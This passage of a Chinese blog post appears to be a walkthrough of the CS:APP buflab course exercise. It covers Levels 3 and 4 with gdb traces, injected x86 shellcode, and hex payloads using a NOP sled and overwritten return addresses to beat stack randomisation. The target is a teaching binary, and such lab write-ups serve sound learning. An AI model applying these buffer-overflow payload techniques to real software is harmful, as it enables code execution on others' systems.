<span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
<span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
<span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">38</span> <span class="hljs-number">32</span> <span class="hljs-number">68</span> <span class="hljs-number">55</span></code></pre>
<p>成功</p>
<pre><code class="hljs routeros">(gdb) r -u zhikun &lt; input3-raw.txt 
Starting program: /home/uusl/document/csapp/labs/buflab-handout3/bufbomb -u zhikun &lt; input3-raw.txt
Userid: zhikun
Cookie: 0x45092563
Type string:Bang!: You <span class="hljs-builtin-name">set</span> global_value <span class="hljs-keyword">to</span> 0x45092563
VALID
NICE JOB!
[Inferior 1 (process 1735) exited normally]</code></pre>
<h2 id="level-3-dynamite"><a class="markdownIt-Anchor" href="#level-3-dynamite"></a> Level 3: Dynamite</h2>
<p>这次要求把 cookie 作为 getbuf 的返回值，需要注意的是，需要把 ebp 指针的值恢复成原先 getbuf 返回前的值，调试的目的为：</p>
<ul>
<li>确认 leave 前后栈的情况和 ebp 的值</li>
</ul>
<pre><code class="hljs assembly">(gdb) b *0x0804920a
Breakpoint 1 at 0x804920a
(gdb) b *0x0804920b
Breakpoint 2 at 0x804920b
(gdb) r -u zhikun &lt; input-raw.txt 
Starting program: &#x2F;home&#x2F;uusl&#x2F;document&#x2F;csapp&#x2F;labs&#x2F;buflab-handout3&#x2F;bufbomb -u zhikun &lt; input-raw.txt
Userid: zhikun
Cookie: 0x45092563

Breakpoint 1, 0x0804920a in getbuf ()
(gdb) x&#x2F;20x $sp
0x55683228 &lt;_reserved+1036840&gt;: 0x55683238      0xf7fc0404      0x0c263429      0x74534e00
0x55683238 &lt;_reserved+1036856&gt;: 0x32323131      0x34343333      0x00000000      0x08048da8
0x55683248 &lt;_reserved+1036872&gt;: 0x00000759      0xf7fc0000      0x55683290      0xf7ef0e6e
0x55683258 &lt;_reserved+1036888&gt;: 0xf7fc0d80      0x0804a57e      0x55683290      0x08048dbe
0x55683268 &lt;_reserved+1036904&gt;: 0xf7fe4f69      0x00000000      0x55686580      0xf7fd00c0
(gdb) i r ebp
ebp            0x55683260       0x55683260 &lt;_reserved+1036896&gt;
(gdb) c
Continuing.

Breakpoint 2, 0x0804920b in getbuf ()
(gdb) x&#x2F;20x $sp
0x55683264 &lt;_reserved+1036900&gt;: 0x08048dbe      0xf7fe4f69      0x00000000      0x55686580
0x55683274 &lt;_reserved+1036916&gt;: 0xf7fd00c0      0x55685ff0      0xf7feadc0      0x00000d40
0x55683284 &lt;_reserved+1036932&gt;: 0x0c263429      0x55686580      0x00000000      0x55685ff0
0x55683294 &lt;_reserved+1036948&gt;: 0x08048f07      0x00000001      0x0804a57e      0x00001fa0
0x556832a4 &lt;_reserved+1036964&gt;: 0x00000000      0x00000000      0x00000000      0xf4f4f4f4
(gdb) i r ebp
ebp            0x55683290       0x55683290 &lt;_reserved+1036944&gt;</code></pre>
<p>其实上面已经看了 ebp 的值了，可以直接 mov 对应的值。这里使用另外一种方法，观察 test 发现<code>sub $0x24,%esp</code>，再算上 4 字节的返回地址，ebp 应为 esp + 0x24 + 4 = 0x28(esp), 因此攻击代码为</p>
<pre><code class="hljs assembly">mov 0x804d108,%eax
lea 0x28(%esp), %ebp
push $0x08048dbe
ret</code></pre>
<pre><code class="hljs assembly">level3.o:     file format elf32-i386


Disassembly of section .text:

00000000 &lt;.text&gt;:
   0:	a1 08 d1 04 08       	mov    0x804d108,%eax
   5:	8d 6c 24 28             lea    0x28(%esp),%ebp
   a:	68 be 8d 04 08       	push   $0x8048dbe
   f:	c3                   	ret</code></pre>
<p>因此输入为</p>
<pre><code class="hljs angelscript">a1 <span class="hljs-number">08</span> d1 <span class="hljs-number">04</span> <span class="hljs-number">08</span> <span class="hljs-number">8</span>d <span class="hljs-number">6</span>c <span class="hljs-number">24</span>
<span class="hljs-number">28</span> <span class="hljs-number">68</span> be <span class="hljs-number">8</span>d <span class="hljs-number">04</span> <span class="hljs-number">08</span> c3 <span class="hljs-number">00</span>
<span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
<span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
<span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
<span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">38</span> <span class="hljs-number">32</span> <span class="hljs-number">68</span> <span class="hljs-number">55</span></code></pre>
<p>成功</p>
<pre><code class="hljs routeros">(gdb) r -u zhikun &lt; input4-raw.txt 
Starting program: /home/uusl/document/csapp/labs/buflab-handout3/bufbomb -u zhikun &lt; input4-raw.txt
Userid: zhikun
Cookie: 0x45092563
Type string:Boom!: getbuf returned 0x45092563
VALID
NICE JOB!
[Inferior 1 (process 1924) exited normally]</code></pre>
<h2 id="level-4-nitroglycerin"><a class="markdownIt-Anchor" href="#level-4-nitroglycerin"></a> Level 4: Nitroglycerin</h2>
<p>本题中，test 变成了 testn，其将执行5次，汇编如下，可知栈大小和 getbufn 的返回地址</p>
<pre><code class="hljs assembly">08048e26 &lt;testn&gt;:
 8048e26:	55                   	push   %ebp
 8048e27:	89 e5                	mov    %esp,%ebp
 8048e29:	53                   	push   %ebx
 8048e2a:	83 ec 24             	sub    $0x24,%esp
 8048e2d:	e8 5e ff ff ff       	call   8048d90 &lt;uniqueval&gt;
 8048e32:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048e35:	e8 d2 03 00 00       	call   804920c &lt;getbufn&gt;
 8048e3a:	89 c3                	mov    %eax,%ebx
 8048e3c:	e8 4f ff ff ff       	call   8048d90 &lt;uniqueval&gt;
 8048e41:	8b 55 f4             	mov    -0xc(%ebp),%edx</code></pre>
<p>getbuf 变成了 getbufn，buf 变大了很多，且运用了栈随机化技术，每次 buf 的位置是变化的</p>
<pre><code class="hljs cpp"><span class="hljs-comment">/* Buffer size for getbufn */</span> 
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> KABOOM_BUFFER_SIZE 512</span></code></pre>
<p>汇编如下</p>
<pre><code class="hljs assembly">0804920c &lt;getbufn&gt;:
 804920c:	55                   	push   %ebp
 804920d:	89 e5                	mov    %esp,%ebp
 804920f:	81 ec 18 02 00 00    	sub    $0x218,%esp
 8049215:	8d 85 f8 fd ff ff    	lea    -0x208(%ebp),%eax
 804921b:	89 04 24             	mov    %eax,(%esp)
 804921e:	e8 d7 fa ff ff       	call   8048cfa &lt;Gets&gt;
 8049223:	b8 01 00 00 00       	mov    $0x1,%eax
 8049228:	c9                   	leave  
 8049229:	c3                   	ret    
 804922a:	90                   	nop
 804922b:	90                   	nop</code></pre>
<p>可知 buf 的起始地址为 -0x208(%ebp)，即 0x10(%esp)，连续运行，看看 esp 的范围大致在哪</p>
<pre><code class="hljs assembly">(gdb) b *0x8049215
Breakpoint 1 at 0x8049215
(gdb) r -u zhikun -n &lt; input-raw.txt 
Starting program: &#x2F;home&#x2F;uusl&#x2F;document&#x2F;csapp&#x2F;labs&#x2F;buflab-handout3&#x2F;bufbomb -u zhikun -n &lt; input-raw.txt
Userid: zhikun
Cookie: 0x45092563

Breakpoint 1, 0x08049215 in getbufn ()
(gdb) i r esp
esp            0x55683048       0x55683048 &lt;_reserved+1036360&gt;
(gdb) c
Continuing.
Type string:Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049215 in getbufn ()
(gdb) i r esp
esp            0x55682fc8       0x55682fc8 &lt;_reserved+1036232&gt;
(gdb) c
Continuing.
Type string:Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049215 in getbufn ()
(gdb) i r esp
esp            0x55682fe8       0x55682fe8 &lt;_reserved+1036264&gt;
(gdb) c
Continuing.
Type string:Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049215 in getbufn ()
(gdb) i r esp
esp            0x55683008       0x55683008 &lt;_reserved+1036296&gt;
(gdb) c
Continuing.
Type string:Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049215 in getbufn ()
(gdb) i r esp
esp            0x55683078       0x55683078 &lt;_reserved+1036408&gt;
(gdb) c
Continuing.
Type string:Dud: getbufn returned 0x1
Better luck next time
[Inferior 1 (process 1987) exited normally]</code></pre>
<p>max(%esp) 为 0x55683078, 故攻击代码应该插入在 0x55683088 之后的位置,保险起见选择 0x557830a0，这次不能直接确定 ebp 的值，但观察 testn 发现<code>sub $0x24,%esp</code>，再算上 4 字节的返回地址，ebp 应为 esp + 0x24 + 4 = 0x28(esp), 因此攻击代码为</p>
<pre><code class="hljs assembly">mov 0x804d108,%eax
lea 0x28(%esp),%ebp
push $0x8048e3a
ret</code></pre>
<pre><code class="hljs assembly">level4.o:     file format elf32-i386


Disassembly of section .text:

00000000 &lt;.text&gt;:
   0:	a1 08 d1 04 08       	mov    0x804d108,%eax
   5:	8d 6c 24 28          	lea    0x28(%esp),%ebp
   9:	68 3a 8e 04 08       	push   $0x8048e3a
   e:	c3                   	ret</code></pre>
<p>确认一下 buf 开头到 ret 的地方有多远</p>
<pre><code class="hljs assembly">(gdb) b *0x8049223
Breakpoint 2 at 0x8049223
(gdb) r -u zhikun -n &lt; input-raw.txt 
Starting program: &#x2F;home&#x2F;uusl&#x2F;document&#x2F;csapp&#x2F;labs&#x2F;buflab-handout3&#x2F;bufbomb -u zhikun -n &lt; input-raw.txt
Userid: zhikun
Cookie: 0x45092563

Breakpoint 2, 0x08049223 in getbufn ()
(gdb) x&#x2F;20x $sp
0x55683048 &lt;_reserved+1036360&gt;: 0x55683058      0x00000000      0x00000000      0x00000000
0x55683058 &lt;_reserved+1036376&gt;: 0x32323131      0x34343333      0xf7dfee00      0x080485ff
0x55683068 &lt;_reserved+1036392&gt;: 0x00000000      0x00000000      0x00000000      0x00000000
0x55683078 &lt;_reserved+1036408&gt;: 0x00000000      0x0804850f      0x00000000      0x00000000
0x55683088 &lt;_reserved+1036424&gt;: 0xf7fdf2a9      0x0000026a      0xf7ded30c      0xff878ec2
(gdb) x&#x2F;x $sp
0x55683264 &lt;_reserved+1036900&gt;: 0x08048e3a</code></pre>
<p>总共要填充 0x55683264-0x55683058+4 = 0x20c+4 = 524+4 = 528 bytes</p>
<p>输入如下，找一个稍微后一点的地方写下攻击代码</p>
<pre><code class="hljs angelscript"><span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
a1 <span class="hljs-number">08</span> d1 <span class="hljs-number">04</span> <span class="hljs-number">08</span> <span class="hljs-number">8</span>d <span class="hljs-number">6</span>c <span class="hljs-number">24</span> <span class="hljs-number">28</span> <span class="hljs-number">68</span> <span class="hljs-number">3</span>a <span class="hljs-number">8</span>e <span class="hljs-number">04</span> <span class="hljs-number">08</span> c3 <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span>
<span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> <span class="hljs-number">90</span> a0 <span class="hljs-number">30</span> <span class="hljs-number">68</span> <span class="hljs-number">55</span></code></pre>
<p>成功</p>
<pre><code class="hljs routeros">uusl@iZuf62y6fwj9mvjt3q1hjjZ:~/document/csapp/labs/buflab-handout3$ cat input5.txt | ./hex2raw -n | ./bufbomb -n -u zhikun
Userid: zhikun
Cookie: 0x45092563
Type string:KABOOM!: getbufn returned 0x45092563
Keep going
Type string:KABOOM!: getbufn returned 0x45092563
Keep going
Type string:KABOOM!: getbufn returned 0x45092563
Keep going
Type string:KABOOM!: getbufn returned 0x45092563
Keep going
Type string:KABOOM!: getbufn returned 0x45092563
VALID
NICE JOB!</code></pre>

            </div>
            <hr>
            <div>
              <div class="post-metas mb-3">
                
                  <div class="post-meta mr-3">
                    <i class="iconfont icon-category"></i>
                    
                      <a class="hover-with-bg" href="/categories/%E6%9D%82/">杂</a>
                    
                  </div>
                
                
                  <div class="post-meta">
                    <i class="iconfont icon-tags"></i>
                    
                      <a class="hover-with-bg" href="/tags/c/">c</a>
                    
                      <a class="hover-with-bg" href="/tags/asm/">asm</a>
                    
                      <a class="hover-with-bg" href="/tags/csapp/">csapp</a>
                    
                      <a class="hover-with-bg" href="/tags/gdb/">gdb</a>
                    
                  </div>
                
              </div>
              
              
                <div class="post-prevnext row">
                  <article class="post-prev col-6">
                    
                    
                      <a href="/2020/12/shlab/">
                        <i class="iconfont icon-arrowleft"></i>
                        <span class="hidden-mobile">shlab</span>
                        <span class="visible-mobile">上一篇</span>
                      </a>
                    
                  </article>
                  <article class="post-next col-6">
                    
                    
                      <a href="/2020/11/Automatic-Parallelization-Note-01/">
                        <span class="hidden-mobile">Automatic Parallelization Note 01</span>
                        <span class="visible-mobile">下一篇</span>
                        <i class="iconfont icon-arrowright"></i>
                      </a>
                    
                  </article>
                </div>
              
            </div>

            
              <!-- Comments -->
              <article class="comments" id="comments">
                
                
  <div id="vcomments"></div>
  <script type="text/javascript">
    function loadValine() {
      addScript('https://cdn.staticfile.org/valine/1.4.14/Valine.min.js', function () {
        new Valine({
          el: "#vcomments",
          app_id: "iAgkjaR2s2ws1XXtS5sVxE7H-MdYXbMMI",
          app_key: "vKka6XRlblVTkbKz8jLXx6EQ",
          placeholder: "你是来自评论区的小惊喜吗 ...",
          path: window.location.pathname,
          avatar: "retro",
          meta: ["nick","mail"],
          pageSize: "10",
          lang: "zh-CN",
          highlight: false,
          recordIP: true,
          serverURLs: "",
        });
      });
    }
    waitElementVisible('vcomments', loadValine);
  </script>
  <noscript>Please enable JavaScript to view the <a target="_blank" href="https://valine.js.org" rel="nofollow noopener noopener">comments
      powered by Valine.</a></noscript>


<!-- 
  <div id="vcomments"></div>
  <script type="text/javascript">
    function loadValine() {
      addScript('https://cdn.staticfile.org/valine/1.4.14/Valine.min.js', function () {
        new Valine({
          el: "#vcomments",
          enableQQ: true,
          boolean: true,
          app_id: "iAgkjaR2s2ws1XXtS5sVxE7H-MdYXbMMI",
          app_key: "vKka6XRlblVTkbKz8jLXx6EQ",
          placeholder: "你是来自评论区的小惊喜吗 ...",
          path: "window.location.pathname",
          avatar: "retro",
          meta: "["nick","mail"]",
          pageSize: "10",
          lang: "zh-CN",
          highlight: false,
          recordIP: true,
          serverURLs: "",
            // 设置Bilibili表情包地址
            emojiCDN: '//i0.hdslb.com/bfs/emote/', 
            // 表情title和图片映射
            emojiMaps: {
            "tv_doge": "6ea59c827c414b4a2955fe79e0f6fd3dcd515e24.png",
            "tv_亲亲": "a8111ad55953ef5e3be3327ef94eb4a39d535d06.png",
            "tv_偷笑": "bb690d4107620f1c15cff29509db529a73aee261.png",
            "tv_再见": "180129b8ea851044ce71caf55cc8ce44bd4a4fc8.png",
            "tv_冷漠": "b9cbc755c2b3ee43be07ca13de84e5b699a3f101.png",
            "tv_发怒": "34ba3cd204d5b05fec70ce08fa9fa0dd612409ff.png",
            "tv_发财": "34db290afd2963723c6eb3c4560667db7253a21a.png",
